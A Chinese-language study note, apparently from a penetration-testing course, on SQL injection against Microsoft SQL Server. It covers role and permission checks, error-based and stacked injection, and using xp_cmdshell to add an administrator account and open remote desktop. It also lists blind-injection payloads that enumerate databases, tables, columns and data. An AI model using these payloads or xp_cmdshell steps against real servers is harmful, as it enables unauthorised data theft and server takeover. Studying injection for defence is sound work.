ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

DAY8:SQL注入7-SQLserver

2019-10-07 17:00:52  阅读:314  来源: 互联网

标签:name DAY8 数据库 SQLserver SQL 权限 ascii MSSQL select


一、MSSQL基本使用 1. 增删改查

 

 

  二、MSSQL权限控制 1. MSSQL角色 *****服务器默认的public角色的权限是最低的 *****MySQL只涉及了数据库权限,要么是有最高数据库权限的root账号,要么是没有数据库最高权限的非root账号   2. SQLserver里面的数据库级别设置 含义:

 

 

3. 固定服务器角色(sysadmin简称sa,是服务器角色的最高权限) 判断服务器角色是否为sysadmin,是返回1,不是返回0 select is_srvrolemember('sysadmin')   4. 固定数据库角色(db_owner是数据库角色的最高权限) 判断数据库角色是否为db_owner,是返回1,不是返回0 select is_member('db_owner')   5. 权限控制扩展 https://docs.microsoft.com/zh-cn/sql/relational-databases/security/authentication-access/getting-started-with-database-engine-permissions?view=sql-server-2017 https://blog.csdn.net/johnf_nash/article/details/80224188     三、MSSQL注入 1. MSSQL手工注入 这里--后面不用加空格,直接表示注释 判断堆叠注入后面可以接任意语句,若页面正常返回则支持 以下方法用的是报错注入,若无报错则不能用此方法 quotename()函数将结果转换为字符型 sys和dbo默认可以省略,但最好还是加上,若省略则是两个点

 

 

2. 获取数据库版本,利用的是报错注入 windows NT 5.2即windows server 2003   3. 常用视图

 

 

4. 扩展存储过程 *****重点了解xp_cmdshell,只有sa权限可以调用xp_cmdshell

 

 

5. 检测与恢复扩展存储 新增用户ichunqiu并添加到administrators用户组 然后可以通过3389端口用新建的账号远程连接服务器 若服务器未开放3389端口,则再次调用xp_cmdshell执行命令开启3389端口   6. 检测SP_MAKEWEBTASK(备份功能) 差异备份/完整备份,不需要sa权限   7. 其他扩展存储

 

 

8. 课后阅读 MSSQL注入方式进阶 https://www.waitalone.cn/sqlserver-inject-skills.html https://www.freebuf.com/articles/web/55577.html MSSQL注入总结 https://blog.51cto.com/maxvision/1691962 MSSQL报错注入 http://blog.nsfocus.net/mssql-order-by/ MSSQL union注入 https://www.cnblogs.com/mynona/p/3622863.html MSSQL的union注入时,每一列的类型要相同,若不知道类型就用null MSSQL盲注 ①查数据库个数 and (select count(name) from master.sys.databases)=7 ②查当前数据库名 and ascii(substring((db_name()),1,1))>48 ③查所有数据库名 and ascii(substring((select name from master.dbo.sysdatabases where dbid=1),1,1))>48 and ascii(substring((select top 1 name from master.dbo.sysdatabases where name not in ('第一个库名', '第二个库名',,,,,,’第N-1个数据库名’)),N,1)) >= 56 ④查表名 and ascii(substring((select top 1 name from 数据库名.sys.sysobjects where xtype = 'U' and name not in ('第一个表名','第二个表名',,,,,,'第N-1个表名')),N,1)) >= 9 ⑤查列名 and ascii(substring((select top 1 name from 数据库名.sys.syscolumns where id=(select id from 数据库名.sys.sysobjects where xtype='U' and name='表名') and name not in ('第一个列名')),N,1)) >= 65 ⑥获取数据 and ascii(substring((select top 1 列名 from 表名),N,1)) >= 65

 

   

标签:name,DAY8,数据库,SQLserver,SQL,权限,ascii,MSSQL,select
来源: https://www.cnblogs.com/niangaoSDS/p/11631096.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有